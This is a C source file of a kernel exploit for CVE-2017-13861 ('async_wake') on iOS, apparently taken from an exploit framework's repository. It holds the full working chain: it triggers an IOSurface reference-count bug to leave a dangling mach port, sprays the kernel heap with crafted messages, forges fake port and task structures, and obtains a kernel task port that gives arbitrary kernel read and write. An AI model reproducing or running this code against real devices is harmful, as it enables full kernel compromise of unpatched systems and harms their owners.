Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/async_wake.c
Views: 11779
#include <stdio.h>1#include <stdlib.h>2#include <string.h>3#include <unistd.h>45#include <mach/mach.h>6#include <mach-o/loader.h>78#include <pthread.h>910#include <CoreFoundation/CoreFoundation.h>1112#include "async_wake.h"13#include "koffsets.h"14#include "kernel_utils.h"15#include "kmem.h"16#include "kutils.h"17#include "early_kalloc.h"18#include "find_port.h"1920#include "common.h"2122#ifdef __OBJC__23#include <Foundation/Foundation.h>24#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(false)25#else26#include <CoreFoundation/CoreFoundation.h>27extern void NSLog(CFStringRef, ...);28#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)29#endif3031// various prototypes and structure definitions for missing iOS headers:3233kern_return_t mach_vm_read(34vm_map_t target_task,35mach_vm_address_t address,36mach_vm_size_t size,37vm_offset_t* data,38mach_msg_type_number_t* dataCnt);3940/****** IOKit/IOKitLib.h *****/41typedef mach_port_t io_service_t;42typedef mach_port_t io_connect_t;4344extern const mach_port_t kIOMasterPortDefault;45#define IO_OBJECT_NULL (0)4647kern_return_t48IOConnectCallAsyncMethod(49mach_port_t connection,50uint32_t selector,51mach_port_t wakePort,52uint64_t* reference,53uint32_t referenceCnt,54const uint64_t* input,55uint32_t inputCnt,56const void* inputStruct,57size_t inputStructCnt,58uint64_t* output,59uint32_t* outputCnt,60void* outputStruct,61size_t* outputStructCntP);6263kern_return_t64IOConnectCallMethod(65mach_port_t connection,66uint32_t selector,67const uint64_t* input,68uint32_t inputCnt,69const void* inputStruct,70size_t inputStructCnt,71uint64_t* output,72uint32_t* outputCnt,73void* outputStruct,74size_t* outputStructCntP);7576io_service_t77IOServiceGetMatchingService(78mach_port_t _masterPort,79CFDictionaryRef matching);8081CFMutableDictionaryRef82IOServiceMatching(83const char* name);8485kern_return_t86IOServiceOpen(87io_service_t service,88task_port_t owningTask,89uint32_t type,90io_connect_t* connect);9192/******** end extra headers ***************/9394mach_port_t user_client = MACH_PORT_NULL;9596// make_dangling will drop an extra reference on port97// this is the actual bug:98void make_dangling(mach_port_t port)99{100kern_return_t err;101102uint64_t inputScalar[16];103uint32_t inputScalarCnt = 0;104105char inputStruct[4096];106size_t inputStructCnt = 0x18;107108uint64_t* ivals = (uint64_t*)inputStruct;109ivals[0] = 1;110ivals[1] = 2;111ivals[2] = 3;112113uint64_t outputScalar[16];114uint32_t outputScalarCnt = 0;115116char outputStruct[4096];117size_t outputStructCnt = 0;118119mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);120121uint64_t reference[8] = { 0 };122uint32_t referenceCnt = 1;123124for (int i = 0; i < 2; i++) {125err = IOConnectCallAsyncMethod(126user_client,12717, // s_set_surface_notify128port,129reference,130referenceCnt,131inputScalar,132inputScalarCnt,133inputStruct,134inputStructCnt,135outputScalar,136&outputScalarCnt,137outputStruct,138&outputStructCnt);139140LOG("%x", err);141};142143err = IOConnectCallMethod(144user_client,14518, // s_remove_surface_notify146inputScalar,147inputScalarCnt,148inputStruct,149inputStructCnt,150outputScalar,151&outputScalarCnt,152outputStruct,153&outputStructCnt);154155LOG("%x", err);156}157158static bool prepare_user_client()159{160kern_return_t err;161io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));162163if (service == IO_OBJECT_NULL) {164LOG("unable to find service");165return false;166}167168err = IOServiceOpen(service, mach_task_self(), 0, &user_client);169if (err != KERN_SUCCESS) {170LOG("unable to get user client connection");171return false;172}173174LOG("got user client: 0x%x", user_client);175return true;176}177178mach_port_t* prepare_ports(int n_ports)179{180mach_port_t* ports = malloc(n_ports * sizeof(mach_port_t));181for (int i = 0; i < n_ports; i++) {182kern_return_t err;183err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);184if (err != KERN_SUCCESS) {185for (int j = 0; j < i; j++) {186mach_port_deallocate(mach_task_self(), ports[j]);187}188free(ports);189return NULL;190}191}192return ports;193}194195void free_ports(mach_port_t* ports, int n_ports)196{197for (int i = 0; i < n_ports; i++) {198mach_port_t port = ports[i];199if (port == MACH_PORT_NULL) {200continue;201}202203mach_port_destroy(mach_task_self(), port);204}205}206207struct simple_msg {208mach_msg_header_t hdr;209char buf[0];210};211212mach_port_t send_kalloc_message(uint8_t* replacer_message_body, uint32_t replacer_body_size)213{214// allocate a port to send the messages to215mach_port_t q = MACH_PORT_NULL;216kern_return_t err;217err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);218if (err != KERN_SUCCESS) {219LOG("failed to allocate port");220return MACH_PORT_NULL;221}222223mach_port_limits_t limits = { 0 };224limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;225err = mach_port_set_attributes(mach_task_self(),226q,227MACH_PORT_LIMITS_INFO,228(mach_port_info_t)&limits,229MACH_PORT_LIMITS_INFO_COUNT);230if (err != KERN_SUCCESS) {231LOG("failed to increase queue limit");232return MACH_PORT_NULL;233}234235mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size;236struct simple_msg* msg = malloc(msg_size);237memset(msg, 0, sizeof(struct simple_msg));238memcpy(&msg->buf[0], replacer_message_body, replacer_body_size);239240for (int i = 0; i < 256; i++) { // was MACH_PORT_QLIMIT_LARGE241msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);242msg->hdr.msgh_size = msg_size;243msg->hdr.msgh_remote_port = q;244msg->hdr.msgh_local_port = MACH_PORT_NULL;245msg->hdr.msgh_id = 0x41414142;246247err = mach_msg(&msg->hdr,248MACH_SEND_MSG | MACH_MSG_OPTION_NONE,249msg_size,2500,251MACH_PORT_NULL,252MACH_MSG_TIMEOUT_NONE,253MACH_PORT_NULL);254255if (err != KERN_SUCCESS) {256LOG("failed to send message %x (%d): %s", err, i, mach_error_string(err));257return MACH_PORT_NULL;258}259}260261return q;262}263264/*265for the given mach message size, how big will the ipc_kmsg structure be?266267This is defined in ipc_kmsg_alloc, and it's quite complicated to work it out!268269The size is overallocated so that if the message was sent from a 32-bit process270they can expand out the 32-bit ool descriptors to the kernel's 64-bit ones, which271means that for each descriptor they would need an extra 4 bytes of space for the272larger pointer. Except at this point they have no idea what's in the message273so they assume the worst case for all messages. This leads to approximately a 30%274overhead in the allocation size.275276The allocated size also contains space for the maximum trailer plus the ipc_kmsg header.277278When the message is actually written into this buffer it's aligned to the end279*/280281/*282build a fake task port object to get an arbitrary read283284I am basing this on the techniques used in Yalu 10.2 released by285@qwertyoruiopz and @marcograss (and documented by Johnathan Levin286in *OS Internals Volume III)287288There are a few difference here. We have a kernel memory disclosure bug so289we know the address the dangling port pointer points to. This means we don't need290to point the task to userspace to get a "what+where" primitive since we can just291put whatever recursive structure we require in the object which will replace292the free'd port.293294We can also leverage the fact that we have a dangling mach port pointer295to also write to a small area of the dangling port (via mach_port_set_context)296297If we build the replacement object (with the fake struct task)298correctly we can set it up such that by calling mach_port_set_context we can control299where the arbitrary read will read from.300301this same method is used again a second time once the arbitrary read works so that the vm_map302and receiver can be set correctly turning this into a fake kernel task port.303*/304305static uint32_t IO_BITS_ACTIVE = 0x80000000;306static uint32_t IKOT_TASK = 2;307static uint32_t IKOT_NONE = 0;308309uint64_t second_port_initial_context = 0x1024204110244201;310311uint8_t* build_message_payload(uint64_t dangling_port_address, uint32_t message_body_size, uint32_t message_body_offset, uint64_t vm_map, uint64_t receiver, uint64_t** context_ptr)312{313uint8_t* body = malloc(message_body_size);314memset(body, 0, message_body_size);315316uint32_t port_page_offset = dangling_port_address & 0xfff;317318// structure required for the first fake port:319uint8_t* fake_port = body + (port_page_offset - message_body_offset);320321*(uint32_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = IO_BITS_ACTIVE | IKOT_TASK;322*(uint32_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = 0xf00d; // leak references323*(uint32_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = 0xf00d; // leak srights324*(uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver;325*(uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = 0x123456789abcdef;326327*context_ptr = (uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT));328329// set the kobject pointer such that task->bsd_info reads from ip_context:330int fake_task_offset = koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT) - koffset(KSTRUCT_OFFSET_TASK_BSD_INFO);331332uint64_t fake_task_address = dangling_port_address + fake_task_offset;333*(uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_address;334335// when we looked for a port to make dangling we made sure it was correctly positioned on the page such that when we set the fake task336// pointer up there it's actually all in the buffer so we can also set the reference count to leak it, let's double check that!337338if (fake_port + fake_task_offset < body) {339LOG("the maths is wrong somewhere, fake task doesn't fit in message");340return NULL;341}342343uint8_t* fake_task = fake_port + fake_task_offset;344345// set the ref_count field of the fake task:346*(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references347348// make sure the task is active349*(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;350351// set the vm_map of the fake task:352*(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;353354// set the task lock type of the fake task's lock:355*(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;356return body;357}358359/*360* the first tpf0 we get still hangs of the dangling port and is backed by a type-confused ipc_kmsg buffer361*362* use that tfp0 to build a safer one such that we can safely free everything this process created and exit363* without leaking memory364*/365mach_port_t build_safe_fake_tfp0(uint64_t vm_map, uint64_t space)366{367kern_return_t err;368369mach_port_t tfp0 = MACH_PORT_NULL;370err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &tfp0);371if (err != KERN_SUCCESS) {372LOG("unable to allocate port");373}374375// build a fake struct task for the kernel task:376//uint64_t fake_kernel_task_kaddr = kmem_alloc_wired(0x4000);377uint64_t fake_kernel_task_kaddr = early_kalloc(0x1000);378LOG("fake_kernel_task_kaddr: %llx", fake_kernel_task_kaddr);379380void* fake_kernel_task = malloc(0x1000);381memset(fake_kernel_task, 0, 0x1000);382*(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references383*(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;384*(uint64_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;385*(uint8_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;386kmemcpy(fake_kernel_task_kaddr, (uint64_t)fake_kernel_task, 0x1000);387free(fake_kernel_task);388389uint32_t fake_task_refs = ReadKernel32(fake_kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT));390LOG("read fake_task_refs: %x", fake_task_refs);391if (fake_task_refs != 0xd00d) {392LOG("read back value didn't match...");393}394395// now make the changes to the port object to make it a task port:396uint64_t port_kaddr = find_port_address(tfp0, MACH_MSG_TYPE_MAKE_SEND);397398WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_TASK);399WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES), 0xf00d);400WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS), 0xf00d);401WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), space);402WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_kernel_task_kaddr);403404// swap our receive right for a send right:405uint64_t task_port_addr = task_self_addr();406uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));407uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));408uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));409410uint32_t port_index = tfp0 >> 8;411const int sizeof_ipc_entry_t = 0x18;412uint32_t bits = ReadKernel32(is_table + (port_index * sizeof_ipc_entry_t) + 8); // 8 = offset of ie_bits in struct ipc_entry413414#define IE_BITS_SEND (1 << 16)415#define IE_BITS_RECEIVE (1 << 17)416417bits &= (~IE_BITS_RECEIVE);418bits |= IE_BITS_SEND;419420WriteKernel32(is_table + (port_index * sizeof_ipc_entry_t) + 8, bits);421422LOG("about to test new tfp0");423424vm_offset_t data_out = 0;425mach_msg_type_number_t out_size = 0;426err = mach_vm_read(tfp0, vm_map, 0x40, &data_out, &out_size);427if (err != KERN_SUCCESS) {428LOG("mach_vm_read failed: %x %s", err, mach_error_string(err));429return MACH_PORT_NULL;430}431432LOG("kernel read via second tfp0 port worked?");433LOG("0x%016llx", *(uint64_t*)data_out);434LOG("0x%016llx", *(uint64_t*)(data_out + 8));435LOG("0x%016llx", *(uint64_t*)(data_out + 0x10));436LOG("0x%016llx", *(uint64_t*)(data_out + 0x18));437438return tfp0;439}440441// task_self_addr points to the struct ipc_port for our task port442uint64_t find_kernel_vm_map(uint64_t task_self_addr)443{444uint64_t struct_task = ReadKernel64(task_self_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));445446while (struct_task != 0) {447uint64_t bsd_info = ReadKernel64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));448449uint32_t pid = ReadKernel32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID));450451if (pid == 0) {452uint64_t vm_map = ReadKernel64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP));453return vm_map;454}455456struct_task = ReadKernel64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV));457}458459LOG("unable to find kernel task...");460return 0;461}462463const uint64_t context_magic = 0x1214161800000000; // a random constant464const uint64_t initial_context = 0x1020304015253545; // another random constant465466kern_return_t async_wake(mach_port_t* tfp0)467{468// offsets are required before we get r/w:469offsets_init();470471kern_return_t err;472473uint32_t MAX_KERNEL_TRAILER_SIZE = 0x44;474uint32_t replacer_body_size = message_size_for_kalloc_size(4096) - sizeof(mach_msg_header_t);475uint32_t message_body_offset = 0x1000 - replacer_body_size - MAX_KERNEL_TRAILER_SIZE;476477LOG("message size for kalloc.4096: %d", message_size_for_kalloc_size(4096));478479if (!prepare_user_client()) {480return KERN_FAILURE;481}482483uint64_t task_self = task_self_addr();484if (task_self == 0) {485LOG("unable to disclose address of our task port");486return KERN_FAILURE;487}488LOG("our task port is at 0x%llx", task_self);489490int n_pre_ports = 100000; //8000491mach_port_t* pre_ports = prepare_ports(n_pre_ports);492if (pre_ports == NULL) {493return KERN_FAILURE;494}495496// make a bunch of smaller allocations in a different zone which can be collected later:497uint32_t smaller_body_size = message_size_for_kalloc_size(1024) - sizeof(mach_msg_header_t);498499uint8_t* smaller_body = malloc(smaller_body_size);500memset(smaller_body, 'C', smaller_body_size);501502const int n_smaller_ports = 600; // 150 MB503mach_port_t smaller_ports[n_smaller_ports];504for (int i = 0; i < n_smaller_ports; i++) {505smaller_ports[i] = send_kalloc_message(smaller_body, smaller_body_size);506if (smaller_ports[i] == MACH_PORT_NULL) {507return KERN_FAILURE;508}509}510511// now find a suitable port512// we'll replace the port with an ipc_kmsg buffer containing controlled data, but we don't513// completely control all the data:514// specifically we're targetting kalloc.4096 but the message body will only span515// xxx448 -> xxxfbc so we want to make sure the port we target is within that range516// actually, since we're also putting a fake task struct here and want517// the task's bsd_info pointer to overlap with the ip_context field we need a stricter range518519int ports_to_test = 100;520int base = n_pre_ports - 1000;521522mach_port_t first_port = MACH_PORT_NULL;523uint64_t first_port_address = 0;524525for (int i = 0; i < ports_to_test; i++) {526mach_port_t candidate_port = pre_ports[base + i];527uint64_t candidate_address = find_port_address(candidate_port, MACH_MSG_TYPE_MAKE_SEND);528uint64_t page_offset = candidate_address & 0xfff;529if (page_offset > 0xa00 && page_offset < 0xe80) { // this range could be wider but there's no need530LOG("found target port with suitable allocation page offset: 0x%016llx", candidate_address);531pre_ports[base + i] = MACH_PORT_NULL;532first_port = candidate_port;533first_port_address = candidate_address;534break;535}536}537538if (first_port == MACH_PORT_NULL) {539LOG("unable to find a candidate port with a suitable page offset");540return KERN_FAILURE;541}542543uint64_t* context_ptr = NULL;544uint8_t* replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, 0, 0, &context_ptr);545if (replacer_message_body == NULL) {546return KERN_FAILURE;547}548LOG("replacer_body_size: 0x%x", replacer_body_size);549LOG("message_body_offset: 0x%x", message_body_offset);550551make_dangling(first_port);552553free_ports(pre_ports, n_pre_ports);554555// free the smaller ports, they will get gc'd later:556for (int i = 0; i < n_smaller_ports; i++) {557mach_port_destroy(mach_task_self(), smaller_ports[i]);558}559560// now try to get that zone collected and reallocated as something controllable (kalloc.4096):561562const int replacer_ports_limit = 200; // about 200 MB563mach_port_t replacer_ports[replacer_ports_limit];564memset(replacer_ports, 0, sizeof(replacer_ports));565uint32_t i;566for (i = 0; i < replacer_ports_limit; i++) {567uint64_t context_val = (context_magic) | i;568*context_ptr = context_val;569replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size);570if (replacer_ports[i] == MACH_PORT_NULL) {571return KERN_FAILURE;572}573574// we want the GC to actually finish, so go slow...575pthread_yield_np();576usleep(10000);577LOG("%d", i);578}579580// find out which replacer port it was581mach_port_context_t replacer_port_number = 0;582err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number);583if (err != KERN_SUCCESS) {584LOG("unable to get context: %d %s", err, mach_error_string(err));585return KERN_FAILURE;586}587replacer_port_number &= 0xffffffff;588if (replacer_port_number >= (uint64_t)replacer_ports_limit) {589LOG("suspicious context value, something's wrong %lx", replacer_port_number);590return KERN_FAILURE;591}592593LOG("got replaced with replacer port %ld", replacer_port_number);594595prepare_rk_via_kmem_read_port(first_port);596597uint64_t kernel_vm_map = find_kernel_vm_map(task_self);598if (kernel_vm_map == 0) {599return KERN_FAILURE;600}601LOG("found kernel vm_map: 0x%llx", kernel_vm_map);602603// now free first replacer and put a fake kernel task port there604// we need to do this becase the first time around we don't know the address605// of ipc_space_kernel which means we can't fake a port owned by the kernel606free(replacer_message_body);607replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, kernel_vm_map, ipc_space_kernel(), &context_ptr);608if (replacer_message_body == NULL) {609return KERN_FAILURE;610}611612// free the first replacer613mach_port_t replacer_port = replacer_ports[replacer_port_number];614replacer_ports[replacer_port_number] = MACH_PORT_NULL;615mach_port_destroy(mach_task_self(), replacer_port);616617const int n_second_replacer_ports = 10;618mach_port_t second_replacer_ports[n_second_replacer_ports];619620for (int i = 0; i < n_second_replacer_ports; i++) {621*context_ptr = i;622second_replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size);623if (second_replacer_ports[i] == MACH_PORT_NULL) {624return KERN_FAILURE;625}626}627628// hopefully that worked the second time too!629// check the context:630631replacer_port_number = 0;632err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number);633if (err != KERN_SUCCESS) {634LOG("unable to get context: %d %s", err, mach_error_string(err));635return KERN_FAILURE;636}637638replacer_port_number &= 0xffffffff;639if (replacer_port_number >= (uint64_t)n_second_replacer_ports) {640LOG("suspicious context value, something's wrong %lx", replacer_port_number);641return KERN_FAILURE;642}643644LOG("second time got replaced with replacer port %ld", replacer_port_number);645646// clear up the original replacer ports:647for (int i = 0; i < replacer_ports_limit; i++) {648mach_port_destroy(mach_task_self(), replacer_ports[i]);649}650651// then clear up the second replacer ports (apart from the one in use)652mach_port_t second_replacement_port = second_replacer_ports[replacer_port_number];653second_replacer_ports[replacer_port_number] = MACH_PORT_NULL;654for (int i = 0; i < n_second_replacer_ports; i++) {655mach_port_destroy(mach_task_self(), second_replacer_ports[i]);656}657658LOG("will try to read from second port (fake kernel)");659// try to read some kernel memory using the second port:660vm_offset_t data_out = 0;661mach_msg_type_number_t out_size = 0;662err = mach_vm_read(first_port, kernel_vm_map, 0x40, &data_out, &out_size);663if (err != KERN_SUCCESS) {664LOG("mach_vm_read failed: %x %s", err, mach_error_string(err));665return KERN_FAILURE;666}667668LOG("kernel read via fake kernel task port worked?");669LOG("0x%016llx", *(uint64_t*)data_out);670LOG("0x%016llx", *(uint64_t*)(data_out + 8));671LOG("0x%016llx", *(uint64_t*)(data_out + 0x10));672LOG("0x%016llx", *(uint64_t*)(data_out + 0x18));673674prepare_rwk_via_tfp0(first_port);675LOG("about to build safer tfp0");676677//early_kalloc(0x10000);678//return 0;679680mach_port_t safer_tfp0 = build_safe_fake_tfp0(kernel_vm_map, ipc_space_kernel());681prepare_rwk_via_tfp0(safer_tfp0);682683LOG("built safer tfp0");684LOG("about to clear up");685686// can now clean everything up687WriteKernel32(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_NONE);688WriteKernel64(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), 0);689690// first port will soon point to freed memory, so neuter it:691uint64_t task_port_addr = task_self_addr();692uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));693uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));694uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));695696uint32_t port_index = first_port >> 8;697const int sizeof_ipc_entry_t = 0x18;698699// remove all rights700WriteKernel32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);701702// clear the ipc_port port too703WriteKernel64(is_table + (port_index * sizeof_ipc_entry_t), 0);704705mach_port_destroy(mach_task_self(), second_replacement_port);706LOG("cleared up");707*tfp0 = safer_tfp0;708return KERN_SUCCESS;709}710711712713